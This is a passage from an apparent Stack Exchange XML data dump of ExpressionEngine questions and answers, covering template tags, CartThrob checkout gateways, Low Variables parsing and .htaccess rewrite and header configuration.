&amp;lt;/td&amp;gt;&#xA;                                            {/display_each_day}&#xA;                                        &amp;lt;/tr&amp;gt;&#xA;                                        {/display_each_week}&#xA;                                    &amp;lt;/tbody&amp;gt;&#xA;                                &amp;lt;/table&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;/tbody&amp;gt;&#xA;            &amp;lt;/table&amp;gt;&#xA;            {/display_each_month}&#xA;            {/exp:calendar:cal}&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;        SEGMENTS:&amp;lt;br /&amp;gt;&#xA;1: {segment_1}&amp;lt;br /&amp;gt;&#xA;2: {segment_2}&amp;lt;br /&amp;gt;&#xA;3: {segment_3}&amp;lt;br /&amp;gt;&#xA;4: {segment_4}&amp;lt;br /&amp;gt;&#xA;5: {segment_5}&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;{embed=&quot;mainsite/sidebar-tpl&quot;}&#xA;&#xA;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3795" LastEditorUserId="3795" LastEditDate="2014-11-26T22:20:35.430" LastActivityDate="2014-11-26T22:33:09.957" Title="How Calendar generates paths and how to get styles to carry through?" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26859" PostTypeId="1" AcceptedAnswerId="35561" CreationDate="2014-11-23T12:00:21.320" Score="0" ViewCount="579" Body="&lt;p&gt;I'm having an issue with a 404 error that appears after creating a new article entry, or editing a template.&lt;/p&gt;&#xA;&lt;p&gt;I recently upgraded my website to the latest version of ExpressionEngine, following the official guide step by step. Before the upgrade this problem was still present but instead of getting a permission denied or a 404 I got a message pop-up about disallowed characters. Except after the upgrade, the problem has changed.&lt;/p&gt;&#xA;&lt;p&gt;I have a large article write-up I have spent some time on, and when I went to submit the article the article I used to get a disallowed character alert, despite not using any disallowed characters (as far as I was aware). After my upgrade to the latest ExpressionEngine, I now receive a 404 error (I disabled CloudFlare to get a better error).&lt;/p&gt;&#xA;&lt;p&gt;Similarly, there have been a few changes to my template, introducing some new items and changes to the CSS theme. However, when I edit a template or even just save it without making changes, I'm redirected to my website 404 page.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qo2Sy.png&quot; alt=&quot;Website 404 page&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Excluding the update the only change I have made of significance is a change to my .htaccess file to redirect any visitors without a subdomain to the www subdomain.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;    RewriteBase /&#xA;&#xA;    # Replaces all non-subdomain connections with a www subdomain.&#xA;    RewriteCond %{HTTP_HOST} ^bowl-of-soup\.co.uk$ [NC]&#xA;    RewriteRule ^(.*)$ http://www.bowl-of-soup.co.uk/$1 [R=301,L]&#xA;&#xA;&#xA;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;    RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;    RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;    # Directs all EE web requests through the site index file&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Long story short I am getting 404 errors when I edit my template or my articles, and before that I was getting disallowed keys error. Does anyone know what could be causing this problem?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit (6/12/2014)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I opened up my normalize.css file and without changing anything submitted it and it triggered a 404. However, I ran the CSS through a CSS clean-up tool and saved it again, this time it passed through, and any saves and changes made are accepted by the system.&lt;/p&gt;&#xA;&lt;p&gt;I've been trying to insert characters that were unique to the CSS before I cleaned it up, but none of them seem to trigger the 404. I'm not sure this is a .htaccess issue any more, as I was getting &lt;strong&gt;Disallowed key characters&lt;/strong&gt; before. Is there a page associated with this error? I suspect during the upgrade whatever code displays that error has been corrupted. Otherwise, the disallowed key characters is causing my issues.&lt;/p&gt;&#xA;&lt;p&gt;For reference:&lt;/p&gt;&#xA;&lt;p&gt;Adding &lt;a href=&quot;http://necolas.github.io/normalize.css/3.0.2/normalize.css&quot; rel=&quot;nofollow noreferrer&quot;&gt;this unminified CSS&lt;/a&gt; (normalize github) will trigger a 404 (possible disallowed key characters)&lt;/p&gt;&#xA;&lt;p&gt;I removed the comments and &lt;a href=&quot;http://www.bowl-of-soup.co.uk/?css=site/normalize.v.1417872175&quot; rel=&quot;nofollow noreferrer&quot;&gt;this version&lt;/a&gt; (my website cleaned version) was accepted by my system.&lt;/p&gt;&#xA;" OwnerUserId="3465" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2016-02-15T08:50:34.987" Title="404 error when editing or posting a new article" Tags="|404|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="26861" PostTypeId="1" AcceptedAnswerId="26869" CreationDate="2014-11-23T16:12:14.547" Score="0" ViewCount="243" Body="&lt;p&gt;I'm having an issue I can't get around (even not after reading &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/19490/low-variable-as-channel-entry-id-parameter-across-msm-sites&quot;&gt;Low variable as channel entry_id parameter across MSM sites&lt;/a&gt; that looks a similar problem)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;references&quot; limit=&quot;5&quot; &#xA;sort=&quot;desc&quot; category=&quot;{embed:cats}&quot; entry_id=&quot;NOT {exp:low_variables:single &#xA;var='elv_excluded_entry_ids' preparse:target_channel='references' &#xA;preparse:from_subsite='innoviso' }&quot; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to exclude certain entries to be shown based on some logic build in a low variable&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if from_subsite==&quot;innoviso&quot;}&#xA;{exp:dandy_cat:entries channel=&quot;{target_channel}&quot; category=&quot;(17)&amp;amp;(not 16)&quot;}&#xA;{entry_id}|&#xA;{/exp:dandy_cat:entries}&#xA;{/if}&#xA;{if from_subsite==&quot;solutions&quot;}&#xA;{exp:dandy_cat:entries channel=&quot;{target_channel}&quot; category=&quot;(16)&amp;amp;(not 17)&quot;}&#xA;{entry_id}|&#xA;{/exp:dandy_cat:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've made generic so it can be reused on different parts of the site.  When outputting the low variable in a template I get an list of entry_ids as expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do the same in the exp:channel:entries tag i get something like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;entry_id=&quot;NOT M00o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the solution mentioned in the other post, but that does not work for me unfortunately.  Any ideas anyone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rg,&#xA;Tim&lt;/p&gt;&#xA;" OwnerUserId="510" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-11-24T09:06:26.463" Title="using low variable as parameter in exp:channel:entries" Tags="|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26862" PostTypeId="1" CreationDate="2014-11-23T17:43:04.847" Score="0" ViewCount="118" Body="&lt;p&gt;I have a Matrix field that has columns that are using cell type &quot;Field Pack - Radio Buttons&quot; and &quot;Field Pack - Dropdown&quot;. Each of these has 4 options (Master, Advanced, Intermetiate, Apprentice). If an option is set for these columns, i can get these easily in the matrix pair tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to access and display the entire option list (Master, Advanced, Intermetiate, Apprentice)? I'm sure there is a way to access this, but i have had no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any input would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="3814" LastActivityDate="2016-06-12T13:29:50.960" Title="How to display radio or dropdown options from a matrix column" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26863" PostTypeId="1" CreationDate="2014-11-23T20:41:33.303" Score="0" ViewCount="101" Body="&lt;p&gt;I'm working on a digital downloads site that has free and paid downloads.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When only free items are in the cart at checkout, I want to use the ct_offline_payments gateway without cc data, but for some reason cartthrob is not loading the offline payments gateway called within the conditional, and is loading the default gateway (moneris_direct).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction fails due to missing cc data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:cartthrob:cart_total}&quot; &amp;gt; 0}&#xA;&#xA;{exp:cartthrob:checkout_form id=&quot;gateway&quot; secure_action=&quot;yes&quot; gateway=&quot;moneris_direct&quot; return=&quot;{template_group}/order_complete&quot;}&#xA;&#xA;{gateway_fields}&#xA;&#xA;&amp;lt;fieldset class=&quot;promo&quot; id=&quot;promo&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;coupon_code&quot;&amp;gt;Enter Promo Code&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; value=&quot;&quot; id=&quot;coupon_code&quot; name=&quot;coupon_code&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&amp;lt;fieldset class=&quot;payment&quot; id=&quot;payment&quot;&amp;gt;&#xA;&amp;lt;img id=&quot;payment_cards&quot; src=&quot;/assets/images/payment_cards.jpg&quot; width=&quot;171&quot; height=&quot;22&quot; alt=&quot;Visa, Mastercard, American Express, Diners Club&quot; align=&quot;right&quot; /&amp;gt;&amp;lt;legend&amp;gt;Payment Info&amp;lt;/legend&amp;gt;&#xA;  &amp;lt;p class=&quot;required&quot;&amp;gt;* All Fields Required&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;credit_card_number&quot;&amp;gt;&amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt; Credit Card Number&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;credit_card_number&quot; value=&quot;&quot; id=&quot;credit_card_number&quot; class=&quot;required&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;img src=&quot;/assets/images/RapidSSL_SEAL-90x50.gif&quot; width=&quot;90&quot; height=&quot;50&quot; alt=&quot;Secured with RapidSSL&quot; align=&quot;right&quot; /&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;CVV2&quot;&amp;gt;&amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt; Card Security Code&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;CVV2&quot; value=&quot;&quot; id=&quot;CVV2&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;expiration_month&quot;&amp;gt;&amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt; Expiration Month&amp;lt;/label&amp;gt;&#xA;    &amp;lt;select name=&quot;expiration_month&quot; id=&quot;expiration_month&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;11&quot;&amp;gt;November&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;expiration_year&quot;&amp;gt;&amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt; Expiration Year&amp;lt;/label&amp;gt;&#xA;    &amp;lt;select name=&quot;expiration_year&quot; id=&quot;expiration_year&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;2014&quot;&amp;gt;2014&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;{clear_coupon_codes}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Complete Purchase&quot;&amp;gt;&#xA;&#xA;{/exp:cartthrob:checkout_form}&#xA;&#xA;{if:else}&#xA;&#xA;{exp:cartthrob:checkout_form id=&quot;gateway&quot; gateway=&quot;ct_offline_payments&quot; return=&quot;{template_group}/order_complete&quot;}&#xA;&#xA;{gateway_fields}&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;{clear_coupon_codes}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Download&quot;&amp;gt;&#xA;&#xA;{/exp:cartthrob:checkout_form}&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have recently upgraded cartthrob to 2.6.1 from 2.05x, so it may be a syntax issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made sure it's not a (strict) conditionals issue with EE 2.9.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts, or example working code to share?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks very much for reading.&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2016-06-16T07:14:14.187" Title="Redirecting Cartthrob to a different gateway when cart_total = $0?" Tags="|cartthrob|payment-gateway|redirection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26865" PostTypeId="2" ParentId="26413" CreationDate="2014-11-24T00:12:27.347" Score="1" Body="&lt;p&gt;Your suggestion of building it in straight php is still a &lt;strong&gt;perfectly acceptable and valid option&lt;/strong&gt;. A few php-enabled templates with forms posting to themselves, validating and redirecting to the next step with already entered data in the session (just as you would normally in php) is sometimes how you have to go if the logic gets too complex. Then at the end you can create a channel entry using php (and even use EE's code to do so). Or just store it in a table depending on your needs. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2014-11-24T00:12:27.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26866" PostTypeId="2" ParentId="26862" CreationDate="2014-11-24T00:22:57.123" Score="0" Body="&lt;p&gt;If you're just wanting to show the values on a page, you could do it with an SQL query, or you could possibly output it using &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine Channel Forms&lt;/a&gt;? It's the replacement for SafeCracker. Instead of showing a full form collecting info you could just use it to show the values.&lt;/p&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2014-11-24T00:22:57.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26867" PostTypeId="1" CreationDate="2014-11-24T03:50:53.877" Score="0" ViewCount="30" Body="&lt;p&gt;I just updated a site from 2.6 to 2.9.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been very buggy since and nothing seems to work. I think I found the problem but I don't know where to fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All new entries have the same ID of 0 regardless if an entry, asset, asset folder, user etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New Assets load but don't stick to an already created entry(when I add an asset and save the entry and then go back, it is not there). Thumbnails of new Assets are wrong. Duplicate empty Assets folders are created in the CP when I update indexes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freeform does not submit because the url passed when submitting the form is .../?ACT=0. I get a blank page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add user, I can log in fine but if I add a newer user, the password is now wrong, again because now both users have the ID of 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know why the ID column is defaulting to 0?&lt;/p&gt;&#xA;" OwnerUserId="1773" LastEditorUserId="1773" LastEditDate="2014-11-24T12:37:01.483" LastActivityDate="2014-11-25T12:09:08.940" Title="All new items have same ID# 0" Tags="|control-panel|database|upgrade|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26868" PostTypeId="2" ParentId="26413" CreationDate="2014-11-24T05:20:38.640" Score="0" Body="&lt;p&gt;If you dont want to introduce PHP you can use one of the few plugins/modules to get you posted data. I've used Stash to do this in previous multi-step forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;form method=&quot;post&quot; action=&quot;/{segment_1}/detail&quot;&amp;gt;&#xA;  &amp;lt;select name=&quot;state&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;state1&quot;&amp;gt;State1&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;state12&quot;&amp;gt;State12&amp;lt;/option&amp;gt;&#xA;  &amp;lt;/select&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then on the 'detail' template, I can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;state&quot; dynamic=&quot;yes&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously if you're going to save all this to a channel form, a single form with each &quot;step&quot; turned on/off via JS is a simple way to achieve it and negates the use of modules or complex work-arounds.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-11-24T05:20:38.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26869" PostTypeId="2" ParentId="26861" CreationDate="2014-11-24T09:06:26.463" Score="1" Body="&lt;p&gt;The example you linked is a Select variable type, which stores its value as a pipe-separated list of items. You can use that as a parameter value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your variable, on the other hand, &lt;strong&gt;contains conditionals and tags&lt;/strong&gt;. These are &lt;strong&gt;not&lt;/strong&gt; parsed before they hit the template, but are put in the template and are &lt;strong&gt;then&lt;/strong&gt; parsed &lt;strong&gt;by the template&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're thinking the exp-tags and conditionals are evaluated &lt;strong&gt;before&lt;/strong&gt; they hit the actual template, but that is &lt;strong&gt;not&lt;/strong&gt; the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LV will put its content into the template, like Snippets. What you need, is an early parsed LV in variable syntax (ie. &lt;code&gt;{lv_my_var}&lt;/code&gt;) which contains &lt;strong&gt;the entry IDs themselves, &lt;em&gt;not&lt;/em&gt; the logic to generate those IDs&lt;/strong&gt;. If you do need the latter, you'd need to create your own add-on that returns those IDs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS, I'll just leave this here: &lt;a href=&quot;http://gotolow.com/parse-order&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/parse-order&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-11-24T09:06:26.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26870" PostTypeId="1" CreationDate="2014-11-24T09:18:45.880" Score="0" ViewCount="126" Body="&lt;p&gt;I need to start making weekly “survey” but not sure what way is the best to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wish for some idea how to be able to manage simple poll that it is easy to store to database and easy to look overall stats when times goes (for old poll’s/surveys).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current survey/poll results available after their submit to see for all users and site visitors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Idea is simple:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Site: one question&lt;/li&gt;&#xA;&lt;li&gt;User input: one out of 3-5 available choices&lt;/li&gt;&#xA;&lt;li&gt;Note: no email or anything else user input needed&lt;/li&gt;&#xA;&lt;li&gt;Action: redirect to same page to show results so far.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another in mind is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Site: One question &lt;/li&gt;&#xA;&lt;li&gt;User input: simple textarea to fill in.&lt;/li&gt;&#xA;&lt;li&gt;Note: email input available, not required.&lt;/li&gt;&#xA;&lt;li&gt;Actions: redirect to page that simply says “thank you for your answer”.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;——&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data handling:&#xA;Admin-panel: easy access to collected data and results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3816" LastActivityDate="2016-06-09T15:33:30.870" Title="Ideas please for creating survey and/or a poll" Tags="|add-on|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26872" PostTypeId="1" AcceptedAnswerId="26893" CreationDate="2014-11-24T16:02:14.587" Score="0" ViewCount="31" Body="&lt;p&gt;Is it possible to search in solspace user from search fields and hardcoded fields as attributes in the results tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:results group_id=&quot;6&quot; &#xA;                            search:js_makecvpublic=&quot;YES&quot;}&#xA;                        &amp;lt;div class=&quot;search-candidate-result&quot;&amp;gt;&#xA;                            &amp;lt;h3 style=&quot;padding:0;&quot;&amp;gt;{js_makecvpublic} - {js_firstname} {js_lastname}, {js_addresscity}&amp;lt;/h3&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        {/exp:user:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a form which searches through various member fields and works ok. But I need to filter only candidates that have allowed their CV to be made publicly available and i dont want to have it as a hidden field in the search form as it can be easily changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i add the js_makecvpublic to my search form as a hidden field, it works, when i hardcode it into the results tag, it doesnt. Possible?&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2015-02-23T20:46:44.273" Title="Mix results params and search fields in solspace user" Tags="|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26873" PostTypeId="1" CreationDate="2014-11-24T16:04:24.173" Score="0" ViewCount="389" Body="&lt;p&gt;I am working on a site that is on a subdomain with a structure that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dev.domain.co/sites/project/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dev.domain.co/sites/project/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also like to remove the index.php. I looked at &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12517/setting-up-sub-domains&quot;&gt;THIS THREAD&lt;/a&gt; to see if it would apply but the client has the additional /sites/project in the URL. Does anyone know how I would set up the htaccess to remove the index.php within this environment? I can't get my navigation to resolve correctly and the CSS doesn't show. Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="3009" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2014-11-26T15:21:39.813" Title="htaccess rules for subdomains?" Tags="|htaccess|subdomain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26874" PostTypeId="2" ParentId="26859" CreationDate="2014-11-24T16:07:44.587" Score="1" Body="&lt;p&gt;I agree that someone will need CP / FTP access to really help you, but it sounds like you're having issues with .htaccess and I would start with updating that to the following. It's a tried and true file that I have used for years on all kinds of builds:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Apache configuration file&#xA;# httpd.apache.org/docs/2.2/mod/quickreference.html&#xA;&#xA;# Note .htaccess files are an overhead, this logic should be in your Apache&#xA;# config if possible: httpd.apache.org/docs/2.2/howto/htaccess.html&#xA;&#xA;# Techniques in here adapted from all over, including:&#xA;#   Kroc Camen: camendesign.com/.htaccess&#xA;#   perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/&#xA;#   Sample .htaccess file of CMS MODx: modxcms.com&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Better website experience for IE users&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Force the latest IE version, in various cases when it may fall back to IE7 mode&#xA;#  github.com/rails/rails/commit/123eb25#commitcomment-118920&#xA;# Use ChromeFrame if it's installed for a better experience for the poor IE folk&#xA;&#xA;&amp;lt;IfModule mod_headers.c&amp;gt;&#xA;  Header set X-UA-Compatible &quot;IE=Edge,chrome=1&quot;&#xA;  # mod_headers can't match by content-type, but we don't want to send this header on *everything*...&#xA;  &amp;lt;FilesMatch &quot;\.(js|css|gif|png|jpe?g|pdf|xml|oga|ogg|m4a|ogv|mp4|m4v|webm|svg|svgz|eot|ttf|otf|woff|ico|webp|appcache|manifest|htc|crx|oex|xpi|safariextz|vcf)$&quot; &amp;gt;&#xA;    Header unset X-UA-Compatible&#xA;  &amp;lt;/FilesMatch&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Cross-domain AJAX requests&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Serve cross-domain Ajax requests, disabled by default.&#xA;# enable-cors.org&#xA;# code.google.com/p/html5security/wiki/CrossOriginRequestSecurity&#xA;&#xA;#  &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;#    Header set Access-Control-Allow-Origin &quot;*&quot;&#xA;#  &amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# CORS-enabled images (@crossorigin)&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Send CORS headers if browsers request them; enabled by default for images.&#xA;# developer.mozilla.org/en/CORS_Enabled_Image&#xA;# blog.chromium.org/2011/07/using-cross-domain-images-in-webgl-and.html&#xA;# hacks.mozilla.org/2011/11/using-cors-to-load-webgl-textures-from-cross-domain-images/&#xA;# wiki.mozilla.org/Security/Reviews/crossoriginAttribute&#xA;&#xA;&amp;lt;IfModule mod_setenvif.c&amp;gt;&#xA;  &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;    # mod_headers, y u no match by Content-Type?!&#xA;    &amp;lt;FilesMatch &quot;\.(gif|png|jpe?g|svg|svgz|ico|webp)$&quot;&amp;gt;&#xA;      SetEnvIf Origin &quot;:&quot; IS_CORS&#xA;      Header set Access-Control-Allow-Origin &quot;*&quot; env=IS_CORS&#xA;    &amp;lt;/FilesMatch&amp;gt;&#xA;  &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Webfont access&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Allow access from all domains for webfonts.&#xA;# Alternatively you could only whitelist your&#xA;# subdomains like &quot;subdomain.example.com&quot;.&#xA;&#xA;&amp;lt;IfModule mod_headers.c&amp;gt;&#xA;  &amp;lt;FilesMatch &quot;\.(ttf|ttc|otf|eot|woff|font.css)$&quot;&amp;gt;&#xA;    Header set Access-Control-Allow-Origin &quot;*&quot;&#xA;  &amp;lt;/FilesMatch&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Proper MIME type for all files&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# JavaScript&#xA;#   Normalize to standard type (it's sniffed in IE anyways)&#xA;#   tools.ietf.org/html/rfc4329#section-7.2&#xA;AddType application/javascript         js jsonp&#xA;AddType application/json               json&#xA;&#xA;# Audio&#xA;AddType audio/ogg                      oga ogg&#xA;AddType audio/mp4                      m4a f4a f4b&#xA;&#xA;# Video&#xA;AddType video/ogg                      ogv&#xA;AddType video/mp4                      mp4 m4v f4v f4p&#xA;AddType video/webm                     webm&#xA;AddType video/x-flv                    flv&#xA;&#xA;# SVG&#xA;#   Required for svg webfonts on iPad&#xA;#   twitter.com/FontSquirrel/status/14855840545&#xA;AddType     image/svg+xml              svg svgz&#xA;AddEncoding gzip                       svgz&#xA;&#xA;# Webfonts&#xA;AddType application/vnd.ms-fontobject  eot&#xA;AddType application/x-font-ttf         ttf ttc&#xA;AddType font/opentype                  otf&#xA;AddType application/x-font-woff        woff&#xA;&#xA;# Assorted types&#xA;AddType image/x-icon                        ico&#xA;AddType image/webp                          webp&#xA;AddType text/cache-manifest                 appcache manifest&#xA;AddType text/x-component                    htc&#xA;AddType application/xml                     rss atom xml rdf&#xA;AddType application/x-chrome-extension      crx&#xA;AddType application/x-opera-extension       oex&#xA;AddType application/x-xpinstall             